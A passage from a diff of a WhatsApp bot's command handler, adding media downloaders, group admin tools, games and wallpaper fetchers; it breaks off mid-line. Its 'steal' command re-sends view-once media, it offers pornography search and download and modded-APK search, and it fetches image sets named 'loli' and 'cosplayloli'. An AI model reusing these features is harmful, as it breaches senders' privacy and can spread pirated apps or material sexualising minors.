{ + document: { url: download_url }, + mimetype: 'audio/mpeg', + fileName: `${title}.mp3`, + caption: `📁 *Audio File:* ${title}.mp3` + }, { quoted: m }); + } else { + reply(`❌ *Failed to fetch the audio file. Try again later.*`); + } + } catch (error) { + console.error('Error during playdoc command:', error); + reply(`❌ *An error occurred. Please try again later.*`); + } + break; +} + +case 'videodoc': { + if (!text) return reply(`*Example*: ${prefix + command} Faded by Alan Walker`); + + try { + await David.sendMessage(m.chat, { react: { text: `📁`, key: m.key } }); + + const yts = require("yt-search"); + const search = await yts(text); + const video = search.videos[0]; + + if (!video) return reply(`*No results found for:* ${text}`); + + const body = `🎬 *QUEEN_ANITA-V4_VIDEO - DOCUMENT*\n\n` + + `🎞️ *Title:* ${video.title}\n` + + `📊 *Views:* ${video.views}\n` + + `⏳ *Duration:* ${video.timestamp}\n` + + `📅 *Uploaded:* ${video.ago}\n` + + `🔗 *URL:* ${video.url}\n\n` + + `ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + await David.sendMessage(m.chat, { + image: { url: video.thumbnail }, + caption: body + }, { quoted: m }); + + const apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp4?url=${encodeURIComponent(video.url)}`; + const apiResponse = await axios.get(apiUrl); + + if (apiResponse.data.success) { + const { download_url, title } = apiResponse.data.result; + + await David.sendMessage(m.chat, { + document: { url: download_url }, + mimetype: 'video/mp4', + fileName: `${title}.mp4`, + caption: `📁 *Video File:* ${title}.mp4` + }, { quoted: m }); + } else { + reply(`❌ *Failed to fetch the video file. Try again later.*`); + } + } catch (error) { + console.error('Error during videodoc command:', error); + reply(`❌ *An error occurred. Please try again later.*`); + } + break; +} + + +case 'ytmp4': { + if (!text) return reply(`*Example*: ${prefix + command} https://youtube.com/watch?v=60ItHLz5WEA`); + + try { + // React to the command with a musical note emoji + await David.sendMessage(m.chat, { react: { text: `📽️`, key: m?.key } }); + + // Fetch video download details using the new API (for MP4) + const apiResponse = await axios.get(`https://api.siputzx.my.id/api/d/ytmp4`, { + params: { url: text } + }); + + // Check if the API response is successful + if (apiResponse.data.status) { + const { title, dl } = apiResponse.data.data; // Extract title and download link + + // Send the video file directly + await David.sendMessage(m.chat, { + video: { url: dl }, + mimetype: 'video/mp4', + caption: `🎬 *Title:* ${title}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`*Error fetching the video!*`); + } + } catch (error) { + console.error('Error during ytmp4 command:', error); + reply(`*An error occurred while processing your request.*`); + } + break; +} + +case 'ytmp3': { + if (!text) return reply(`*Example*: ${prefix + command} https://youtube.com/watch?v=60ItHLz5WEA`); + + try { + // React to the command with a musical note emoji + await David.sendMessage(m.chat, { react: { text: `🎵`, key: m?.key } }); + + // Fetch audio download details using the new API + const apiResponse = await axios.get(`https://api.siputzx.my.id/api/d/ytmp3`, { + params: { url: text } + }); + + // Check if the API response is successful + if (apiResponse.data.status) { + const { title, dl } = apiResponse.data.data; // Extract title and download link + + // Send the audio file directly + await David.sendMessage(m.chat, { + audio: { url: dl }, + mimetype: 'audio/mp4', + fileName: `${title}.mp3`, + caption: `🎧 *Here's your song:*\n> *Title:* ${title}` + }, { quoted: m }); + } else { + reply(`*Error fetching the audio!*`); + } + } catch (error) { + console.error('Error during ytmp3 command:', error); + reply(`*An error occurred while processing your request.*`); + } + break; +} + + + +case 'mods': case 'modapk': { + const axios = require('axios') + const cheerio = require('cheerio') + + async function mods(apk) { + const url = `https://m.happymod.com/search.html?q=${apk}` + + const response = await axios.get(url) + const html = response.data + const $ = cheerio.load(html) + + const apps = [] + + $('.app-info-list .s-app-block').each((index, element) => { + const app = { + creator: '`David Cyril`', + status: 200, + title: $(element).find('.info-wrap .nowrap a').text().trim(), + image: $(element).find('.img img').attr('data-src'), + downloadUrl: `https://m.happymod.com${$(element).find('.down a').attr('href')}` + } + apps.push(app) + if (apps.length >= 5) return false + }) + + return apps + } + + if (text) { + const response = await mods(text) + let result = '' + + response.forEach((app, index) => { + result += `*${index + 1}*. ${app.title}:\n` + result += `∘ Download ${app.downloadUrl}\n\n` + }) + + David.sendMessage(m.chat, { + text: result, + contextInfo: { + externalAdReply: { + showAdAttribution: false, + title: `M O D S S E A R C H`, + body: `Looking for Cool and Free Apk Mods!`, + sourceUrl: 'https://m.happymod.com', + thumbnailUrl: 'https://imgur.com/a/PD8nT5X', + mediaType: 2, + renderLargerThumbnail: true + } + } + }) + } else { + reply(`Enter Text, *Like This Format*: .${command} minecraft`) + } +} +break + +case "twitter": +case "x": { + if (!text) return reply("❌ Please provide a Twitter/X URL.\n\nExample: .twitter https://x.com/elonmusk/status/1870901510319833540"); + + await David.sendMessage(m.chat, { react: { text: "📥", key: m.key } }); + + try { + let response = await axios.get(`https://apis.davidcyriltech.my.id/twitter?url=${encodeURIComponent(text)}`); + + if (response.data && response.data.success) { + let caption = `📌 *Twitter Video Downloaded!*\n\n🔗 *Source:* [Click Here](${response.data.description})`; + + let mediaOptions = []; + if (response.data.video_hd) { + mediaOptions.push({ + video: { url: response.data.video_hd }, + mimetype: "video/mp4", + caption: `${caption}\n🎥 *Quality:* HD`, + }); + } + if (response.data.video_sd) { + mediaOptions.push({ + video: { url: response.data.video_sd }, + mimetype: "video/mp4", + caption: `${caption}\n🎥 *Quality:* SD`, + }); + } + + if (response.data.thumbnail) { + let thumbnailBuffer = await axios.get(response.data.thumbnail, { responseType: "arraybuffer" }); + mediaOptions.forEach((obj) => (obj.jpegThumbnail = thumbnailBuffer.data)); + } + + for (let media of mediaOptions) { + await David.sendMessage(m.chat, media, { quoted: m }); + await sleep(3000); // Prevent rate limits + } + } else { + reply("❌ Failed to download the Twitter video."); + } + } catch (error) { + console.error("❌ Twitter Download Error:", error); + reply("❌ An error occurred while fetching the video."); + } + + break; +} + + +case 'checkip': + + const apiUrlIpify = 'https://api.ipify.org?format=json'; + + try { + // Step 1: Get public IP from ipify + const ipifyResponse = await axios1.get(apiUrlIpify); + const ipAddress = ipifyResponse.data.ip; + + // Step 2: Use the IP address to get geolocation data from ip-api + const apiUrlIpApi = `http://ip-api.com/json/${ipAddress}`; + const ipApiResponse = await axios.get(apiUrlIpApi); + const locationData = ipApiResponse.data; + + if (locationData.status === "fail") { + return reply(`Error: ${locationData.message}`); + } + + const message = ` + Public IP: ${ipAddress}\n + Country: ${locationData.country}\n + Region: ${locationData.regionName}\n + City: ${locationData.city}\n + Latitude: ${locationData.lat}\n + Longitude: ${locationData.lon}\n + ISP: ${locationData.isp}\n + Timezone: ${locationData.timezone}\n + `; + + David.sendMessage(from, { text: message }, { quoted: m }); + } catch (error) { + console.error('Error fetching IP data:', error); + reply('Failed to fetch IP location data. Please try again later.'); + } + break; + + + +case 'open': case 'steal': { +if (!m.quoted) return reply(`Reply view once message to use this command`) +let typeS = Object.keys(m.quoted.message)[0] +let quotedType = m.quoted.message[typeS] +var mediaaaaaaaaaa = await downloadContentFromMessage(quotedType, typeS == "imageMessage" ? "image" : "video") +let buffer = Buffer.from([]) +for await (let chunk of mediaaaaaaaaaa) { +buffer = Buffer.concat([buffer, chunk]) +} +if (/video/.test(type)) { +await David.sendMessage(m.chat, { video: buffer, caption: quotedType.caption }, {quoted: m }) +} +else if (/image/.test(type)) { +await David.sendMessage(m.chat, { image: buffer, caption: quotedType.caption }, {quoted: m }) +} +} +break; + + + case 'setprefix': { + if (!isCreator) return m.reply('This command is for the bot owner only.'); + if (!args[0]) return m.reply(`Example: ${prefix+command} `); // Guide if no prefix is provided + + // Set the new prefix + global.prefix = args[0]; // Update the global prefix dynamically + m.reply(`Prefix has been successfully set to: ${global.prefix}`); + break; +} + +case 'kickall': { +if (!m.isGroup) return reply('For Groups Only'); + if (!isBotAdmins) return reply('Bot Must Be Admin'); + if (!isAdmins && !isCreator) return reply('') +const users = participants.map(a => a.id) +await David.groupParticipantsUpdate(m.chat, [users], 'remove') +await reply(`Done`) +} +break + + + case 'mediafire': { + if (!text) return reply(`*Example*: ${prefix + command} https://www.mediafire.com/file/n6tgcrktbnov1oy/Queen_Anita-V4.zip/file`); + + try { + + await David.sendMessage(m.chat, { react: { text: `📥`, key: m?.key } }); + + + const apiUrl = `https://apis.davidcyriltech.my.id/mediafire?url=${encodeURIComponent(text)}`; + const apiResponse = await axios.get(apiUrl); + + + if (apiResponse.data && apiResponse.data.downloadLink) { + const { fileName, mimeType, downloadLink } = apiResponse.data; + + + await David.sendMessage(m.chat, { + document: { url: downloadLink }, + mimetype: mimeType, + fileName: fileName, + caption: `📦 *File Name:* ${fileName}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + + reply(`*Failed to fetch file details! Please check the MediaFire URL and try again.*`); + } + } catch (error) { + + console.error('Error during MediaFire command:', error); + reply(`*An error occurred while processing your request. Please try again later.*`); + } + break; +} + +case 'ss': case 'ssweb': { + if (!args[0]) return m.reply(`Please provide a link\n\n Example: ${prefix + command}.`); +await David.sendMessage(m?.chat, { react: { text: `📸`, key: m?.key } }); + + let apiUrl = `https://apis.davidcyriltech.my.id/ssweb?url=${encodeURIComponent(args[0])}`; + + try { + await David.sendMessage(m.chat, { image: { url: apiUrl }, caption: `🖼️ Screenshot of ${args[0]}` }, { quoted: m }); + } catch (error) { + console.error(error); + m.reply('Failed to capture the screenshot. Please try again later.'); + } +} +break; + + + + + case 'wanted': { + // Ensure the command is a reply to an image + if (!/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .wanted to create a wanted poster*`); + } + + // Check if there is a quoted message (the image) + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .wanted to create a wanted poster*`); + } + + try { + // React to show that processing has started + await David.sendMessage(m?.chat, { react: { text: `⏳`, key: m?.key } }); + + // Download the image locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the image to Imgur + const uploadResponse = await uploadToImgur(mediaPath); // Use the Imgur upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + + const imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + + // Call the "wanted" API with the uploaded image URL + const apiResponse = await axios.get(`https://api.popcat.xyz/wanted`, { + params: { image: imageUrl } + }); + + // Check the API response + if (apiResponse.status === 200) { + const wantedImageUrl = apiResponse.request.res.responseUrl; // The URL of the wanted poster + + // Send the wanted poster back to the user + await David.sendMessage(m?.chat, { + image: { url: wantedImageUrl }, + caption: `*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*` + }, { quoted: m }); + } else { + reply(`*WANTED POSTER ERROR!! MESSAGE :*\n\n> Failed to create a wanted poster. Try again.`); + } + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + + } catch (error) { + console.error('Error in Wanted command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + break; +} + + + + case 'promote': case 'admin': { + if (!m.isGroup) return reply('For Groups Only'); + if (!isBotAdmins) return reply('Bot Must Be Admin'); + if (!isAdmins && !isCreator) return reply('') + David.sendMessage(from, { react: { text: "🫡", key: m.key } }) + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net' + await reply(citel.pushname(users) + "promoted successfully") + await David.groupParticipantsUpdate(m.chat, [users], 'promote').then((res) => reply(jsonformat(res))).catch((err) => reply(jsonformat(err))) + } + break; + + + case 'demote': case 'unadmin': { + + if (!m.isGroup) return reply('For Groups Only'); + if (!isBotAdmins) return reply('Bot Must Be Admin'); + if (!isAdmins && !isCreator) return reply('') + David.sendMessage(from, { react: { text: "🫡", key: m.key } }) + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net' + await reply(citel.pushname(users) + "demoted successfully") + await David.groupParticipantsUpdate(m.chat, [users], 'demote').then((res) => reply(jsonformat(res))).catch((err) => reply(jsonformat(err))) + } + break; + + + case 'add': { + if (!m.isGroup) return reply('For Groups Only'); + if (!isBotAdmins) return reply('Bot Must Be Admin'); + if (!isCreator) return reply('For My Owner Only') + David.sendMessage(from, { react: { text: "🫡", key: m.key } }) + + + let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '') + '@s.whatsapp.net' + if (users.length == 0) return reply(`Please write the number of the person you want to add to thhis group`) + await David.groupParticipantsUpdate(m.chat, [users], 'add').then((res) => reply(`User Added Successfully!`)).catch((err) => reply(`Cannot add that user to this group!`)) + } + break; + +const dailyTasks = [ + "Take a 5-minute walk.", + "Drink 2 liters of water.", + "Spend 10 minutes meditating.", + "Read 10 pages of a book.", + "Complete a short workout.", + "Organize your workspace.", + "Write down three things you’re grateful for." +]; + +case 'dailytasks': + const shuffledTasks = dailyTasks.sort(() => 0.5 - Math.random()).slice(0, 3); // Pick 3 random tasks + let taskMessage = '📝 Here are your tasks for today:\n\n'; + shuffledTasks.forEach((task, index) => taskMessage += `${index + 1}. ${task}\n`); + reply(taskMessage); + break; + + + + + +case 'opengroup': +case 'buka': { +if (!m.isGroup) return (`For Group Only`) +if (!isAdmins) return (`For Admins Only`) +if (!isBotAdmins) return (`Bot Must Be Admin`) +David.groupSettingUpdate(m.chat, 'not_announcement') +reply(`Done`) +} +break + +case 'close': +case 'closegroup': { +if (!m.isGroup) return (`For Group Only`) +if (!isAdmins) return (`For Admins Only`) +if (!isBotAdmins) return (`Bot Must Be Admin`) +David.groupSettingUpdate(m.chat, 'announcement') +reply(`Done`) +} +break + + + + + + + + case 'xnxxdl':{ + + +if (!text) return reply(`Where Is the link?\nExample: *.xnxxvideo https://www.xnxx.com/xxxxxxxxxxx*`) + reply('`Downloading...`') + + try { + let res = await fetch(`https://api.agatz.xyz/api/xnxxdown?url=${encodeURIComponent(text)}`) + let json = await res.json() + + if (json.status !== 200 || !json.data.status) return reply('Failed to fetch data from API') + + let videoUrl = json.data.files.high || json.data.files.low || json.data.files.HLS + let caption = `Title: ${json.data.title}\nDuration: ${json.data.duration}\nInfo: ${json.data.info}` + let thumbnailUrl = json.data.image + + await David.sendMessage(m.chat, { + video: { url: videoUrl }, + caption: caption + }, { quoted: m }) + + } catch (e) { + reply(`An Error Occurred, Unable to Retrieve Data From the Url/Link You Entered`) + } +} +break + +case 'autobio': { + if (!isCreator) return m.reply('For My Owner Only'); + + if (!args[0]) return m.reply(`Example: ${prefix + command} on `); + + if (args[0] === 'on') { + if (!args[1]) return m.reply(`Please provide your city or country\n\n Example ${prefix + command} on Africa/Lagos`); + + const location = args.slice(1).join(" "); + + // Find the timezone based on the location input + const timeZone = moment.tz.zone(location); + if (!timeZone) { + return m.reply('Invalid location. Please provide a valid city or country.'); + } + + global.autobio = true; + await m.reply(`Autobio Activated. Using timezone for: ${location}`); + + setAutobio(David, timeZone.name); // Automatically set the timezone + } else if (args[0] === 'off') { + global.autobio = false; + if (intervalId) clearInterval(intervalId); + await m.reply('Autobio Deactivated.'); + } else { + await m.reply(`Invalid option. Example: ${prefix + command} on/off`); + } +} +break; + + + + + + +case 'amazon': + if (!text) return reply('Enter the product you want to search for') + let p = await (await fetch('https://endpoint.web.id/search/amazon?key=gojou&query=' + text)).json() + let u = p.result + let firstImageUrl = u[0].imageUrl + let caption = u.map(item => + `Rating: ${item.rating}\n` + + `Title: ${item.title}\n` + + `Price: $${item.price}\n` + + `Product URL: ${item.productUrl}` + ).join('\n\n') + David.sendMessage(m.chat, { image: { url: firstImageUrl }, caption: caption }, { quoted: m }) +break + + + +case 'xnxx': case 'xnxxsearch': { + if (!isCreator) return reply(`For My Owner Only`) + if (m.isGroup) return warning("For Private Chat only") + if (!text) return reply (`*Example :* ${command} stepmoms`) + reply('`searching...`') + let response = await fetch(`https://api.agatz.xyz/api/xnxx?message=${text}`) + let res = await response.json() + + if (res.status !== 200) throw `API Error: ${res.creator}` + + let resultText = '' + for (let i = 0; i < res.data.result.length; i++) { + let result = res.data.result[i] + let hasil = `• Title: *${result.title}*\n• Info: *${result.info}*\n• Link: *${result.link}*\n` + resultText += hasil + '\n' + } +reply(resultText) +} +break + + + + + + //game + case 'ttc': + case 'ttt': + case 'tictactoe': { + let TicTacToe = require("./tictactoe.js") + this.game = this.game ? this.game : {} + if (Object.values(this.game).find(room => room.id.startsWith('tictactoe') && [room.game.playerX, room.game.playerO].includes(m.sender))) return reply('You are still in the game') + let room = Object.values(this.game).find(room => room.state === 'WAITING' && (text ? room.name === text : true)) + if (room) { + reply('Partner not found!') + room.o = m.chat + room.game.playerO = m.sender + room.state = 'PLAYING' + let arr = room.game.render().map(v => { + return { + X: '❌', + O: '⭕', + 1: '1️⃣', + 2: '2️⃣', + 3: '3️⃣', + 4: '4️⃣', + 5: '5️⃣', + 6: '6️⃣', + 7: '7️⃣', + 8: '8️⃣', + 9: '9️⃣', + } [v] + }) + let str = `Room ID: ${room.id} + +${arr.slice(0, 3).join('')} +${arr.slice(3, 6).join('')} +${arr.slice(6).join('')} + +Turn @${room.game.currentTurn.split('@')[0]} + +Type *surrender* to give up and admit defeat` + if (room.x !== room.o) await David.sendText(room.x, str, m, { + mentions: parseMention(str) + }) + await David.sendText(room.o, str, m, { + mentions: parseMention(str) + }) + } else { + room = { + id: 'tictactoe-' + (+new Date), + x: m.chat, + o: '', + game: new TicTacToe(m.sender, 'o'), + state: 'WAITING' + } + if (text) room.name = text + reply('Waiting for partner' + (text ? ` type the command below ${prefix}${command} ${text}` : '')) + this.game[room.id] = room + } + } + break + case 'delttc': + case 'delttt': { + this.game = this.game ? this.game : {} + try { + if (this.game) { + delete this.game + David.sendText(m.chat, `Berhasil delete session TicTacToe`, m) + } else if (!this.game) { + reply(`Session TicTacToe🎮 tidak ada`) + } else reply('?') + } catch (e) { + reply('rusak') + } + } + break + + + + case 'catholic': { + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + const apiResponse = await axios.get('http://calapi.inadiutorium.cz/api/v0/en/calendars/default/today'); + const data = apiResponse.data; + + let responseText = `📅 *Liturgical Celebration Today*\n\n`; + responseText += `📆 *Date:* ${data.date}\n`; + responseText += `📅 *Weekday:* ${data.weekday.charAt(0).toUpperCase() + data.weekday.slice(1)}\n`; + responseText += `📖 *Season:* ${data.season.charAt(0).toUpperCase() + data.season.slice(1)} (Week ${data.season_week})\n\n`; + + for (let celebration of data.celebrations) { + responseText += `🎉 *Title:* ${celebration.title}\n`; + responseText += `🎨 *Colour:* ${celebration.colour.charAt(0).toUpperCase() + celebration.colour.slice(1)}\n`; + responseText += `🏅 *Rank:* ${celebration.rank} (Rank No: ${celebration.rank_num})\n\n`; + } + + const litpic = 'https://files.catbox.moe/q2fzqb.jpg' +await David.sendMessage(m.chat, { image: { url: litpic }, caption: responseText }); + + + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + } catch (error) { + console.error('Error fetching liturgical data:', error); + reply(`❌ Failed to fetch liturgical details. Please try again later.`); + } +} +break; + + +case 'akira': case 'akiyama': case 'ana': case 'art': case 'asuna': case 'ayuzawa': case 'boruto': case 'bts': case 'chiho': case 'chitoge': case 'cosplay': case 'cosplayloli': case 'cosplaysagiri': case 'cyber': case 'deidara': case 'doraemon': case 'elaina': case 'emilia': case 'erza': case 'exo': case 'gamewallpaper': case 'gremory': case 'hacker': case 'hestia': case 'hinata': case 'husbu': case 'inori': case 'islamic': case 'isuzu': case 'itachi': case 'itori': case 'jennie': case 'jiso': case 'justina': case 'kaga': case 'kagura': case 'kakasih': case 'kaori': case 'cartoon': case 'shortquote': case 'keneki': case 'kotori': case 'kurumi': case 'lisa': case 'madara': case 'megumin': case 'mikasa': case 'mikey': case 'miku': case 'minato': case 'mountain': case 'naruto': case 'neko2': case 'nekonime': case 'nezuko': case 'onepiece': case 'pentol': case 'pokemon': case 'programming': case 'randomnime': case 'randomnime2': case 'rize': case 'rose': case 'sagiri': case 'sakura': case 'sasuke': case 'satanic': case 'shina': case 'shinka': case 'shinomiya': case 'shizuka': case 'shota': case 'space': case 'technology': case 'tejina': case 'toukachan': case 'tsunade': case 'yotsuba': case 'yuki': case 'yulibocil': case 'yumeko':{ + +let heyy +if (/akira/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/akira.json') +if (/akiyama/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/akiyama.json') +if (/ana/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/ana.json') +if (/art/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/art.json') +if (/asuna/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/asuna.json') +if (/ayuzawa/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/ayuzawa.json') +if (/boneka/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/boneka.json') +if (/boruto/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/boruto.json') +if (/bts/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/bts.json') +if (/cecan/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cecan.json') +if (/chiho/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/chiho.json') +if (/chitoge/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/chitoge.json') +if (/cogan/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cogan.json') +if (/cosplay/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cosplay.json') +if (/cosplayloli/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cosplayloli.json') +if (/cosplaysagiri/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cosplaysagiri.json') +if (/cyber/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/cyber.json') +if (/deidara/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/deidara.json') +if (/doraemon/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/doraemon.json') +if (/eba/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/eba.json') +if (/elaina/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/elaina.json') +if (/emilia/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/emilia.json') +if (/erza/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/erza.json') +if (/exo/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/exo.json') +if (/femdom/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/femdom.json') +if (/freefire/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/freefire.json') +if (/gamewallpaper/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/gamewallpaper.json') +if (/glasses/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/glasses.json') +if (/gremory/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/gremory.json') +if (/hacker/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/hekel.json') +if (/hestia/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/hestia.json') +if (/husbu/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/husbu.json') +if (/inori/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/inori.json') +if (/islamic/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/islamic.json') +if (/isuzu/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/isuzu.json') +if (/itachi/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/itachi.json') +if (/itori/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/itori.json') +if (/jennie/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/jeni.json') +if (/jiso/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/jiso.json') +if (/justina/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/justina.json') +if (/kaga/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kaga.json') +if (/kagura/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kagura.json') +if (/kakasih/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kakasih.json') +if (/kaori/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kaori.json') +if (/cartoon/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kartun.json') +if (/shortquote/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/katakata.json') +if (/keneki/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/keneki.json') +if (/kotori/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kotori.json') +if (/kpop/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kpop.json') +if (/kucing/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kucing.json') +if (/kurumi/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/kurumi.json') +if (/lisa/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/lisa.json') +if (/loli/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/loli.json') +if (/madara/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/madara.json') +if (/megumin/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/megumin.json') +if (/mikasa/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/mikasa.json') +if (/mikey/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/mikey.json') +if (/miku/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/miku.json') +if (/minato/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/minato.json') +if (/mobile/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/mobil.json') +if (/motor/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/motor.json') +if (/mountain/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/mountain.json') +if (/naruto/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/naruto.json') +if (/neko/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/neko.json') +if (/neko2/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/neko2.json') +if (/nekonime/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/nekonime.json') +if (/nezuko/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/nezuko.json') +if (/onepiece/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/onepiece.json') +if (/pentol/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/pentol.json') +if (/pokemon/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/pokemon.json') +if (/profil/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/profil.json') +if (/progamming/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/programming.json') +if (/pubg/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/pubg.json') +if (/randblackpink/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/randblackpink.json') +if (/randomnime/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/randomnime.json') +if (/randomnime2/.test(command)) 